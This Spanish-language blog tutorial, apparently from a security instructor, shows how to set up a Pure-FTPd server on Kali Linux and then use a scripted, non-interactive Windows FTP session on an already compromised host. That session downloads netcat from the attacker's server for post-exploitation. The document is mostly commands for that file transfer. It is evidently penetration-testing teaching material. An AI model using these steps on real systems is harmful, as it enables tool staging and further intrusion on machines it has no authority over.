Subir Archivos hacia un Sistema Comprometido utilizando FTP

  • Posted on: 5 August 2016
  • By: ReYDeS

Los sistemas operativos Windows contienen por defecto un cliente FTP, el cual puede también ser utilizado para la transferencia de archivos hacia un sistema comprometido. El cliente FTP es un programa interactivo el cual requiere ingresar entradas. Se requiere por lo tanto intentar resolver este inconveniente, antes de intentar utilizar FTP como un protocolo para la transferencia de archivos.

Al ejecutar el cliente FTP con la opción “-h” se obtiene su ayuda.

C:\> ftp.exe -h

Utilizando la opción “-s:archivo” se puede convertir a la transferencia de archivos FTP en un proceso no interactivo. Esta opción permite especificar un archivo de texto conteniendo comandos FTP; siendo los comandos ejecutados automáticamente luego de iniciar FTP.

Desde la perspectiva del atacante se necesita configurar un servidor FTP, hacia el cual la máquina comprometida se conectará, para luego descargar el archivo requerido.

Pure-FTPd es un servidor FTP libre (BSD), seguro y de alta calidad. No proporciona sonidos ni artilugios inútiles, se enfoca en la eficiencia y facilidad de uso. Proporciona respuestas simples a necesidades comunes, además de características útiles únicas para usuarios personales como también proveedores de hosting. En Kali Linux se instala Pure-ftpd.

# apt-cache search pure-ftpd
# apt-get install pure-ftpd

Antes de cualquier cliente pueda conectarse hacia el servidor FTP, primero es necesario crear un nuevo usuario para Pure-FTPd, además de realizar otros ajustes.

Crear un nuevo grupo de nombre “ftpgroup”.

# groupadd ftpgroup

Crear un nuevo usuario. La opción “-g” define el nombre del grupo inicial para el usuario. La opción “-d” define el valor para el directorio “login” del usuario. La opción “-s” define el nombre de la shell “login” para el usuario.

# useradd -g ftpgroup -d /dev/null -s /etc ftpuser

El comando “pure-pw” gestiona archivos de usuarios virtuales para Pure-FTPd. La opción “useradd” añade un usuario, la opción “-u” define un ID de usuario, la opción “-d” define un directorio donde residirán los archivos a transferir.

La opción “mkdb” permite crear un archivo PureDB. Este comando lee el archivo “/etc/pure-ftpd/pureftpd.passwd” y crea un archivo “/etc/pure-ftpd/pureftpd.pbd” por defecto.

# pure-pw useradd usuarioftp -u ftpuser -d /opt/ftphome
# pure-pw mkdb

Se crea un enlace simbólico del archivo con nombre “60pdb” del archivo “PureBD”.

# cd /etc/pure-ftpd/auth/
# ln -s ../conf/PureDB 60pdb

Se crea el directorio donde residirán los archivos a transferir. Se cambian los permisos a este directorio. Y se inicia el servicio Pure-FTPd.

# mkdir /opt/ftphome
# chown -R ftpuser:ftpgroup /opt/ftphome/
# service pure-ftpd restart

Ya habiendo obtenido previamente un acceso shell en el sistema comprometido, y el servidor FTP configurado adecuadamente, se procede a transferir un archivo.

Copiar en el directorio donde residen los archivos a transferir la herramienta netcat “nc.exe”.

# cp /usr/share/windows-binaries/nc.exe /opt/ftphome/

Ahora se deben copiar los comandos FTP hacia un archivo de nombre “ftp.txt”, los cuales serán ejecutados de manera no interactiva.

C:\>echo open 192.168.0.46 21> ftp.txt
C:\>echo usuarioftp>>ftp.txt
C:\>echo 123456>> ftp.txt
C:\>echo bin>> ftp.txt
C:\>echo GET nc.exe>> ftp.txt
C:\>echo bye>> ftp.txt

Ejecutar el comando ftp con la opción “-s:ftp.txt”, lo cual permitirá descargar el archivo de nombre “nc.exe” (netcat) desde el servidor del atacante hacia el sistema comprometido.

C:\>ftp -s:ftp.txt

Si todo se ha realizado correctamente, el archivo nc.exe (netcat) ya reside en el sistema comprometido. netcat puede ser utilizado para realizar diversos procesos posteriores a la explotación.

Fuentes:

https://www.w3.org/Protocols/rfc959/
https://www.pureftpd.org/project/pure-ftpd
https://download.pureftpd.org/pub/pure-ftpd/doc/README.Virtual-Users
https://sourceforge.net/projects/nc110/

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Curso de Informática Forense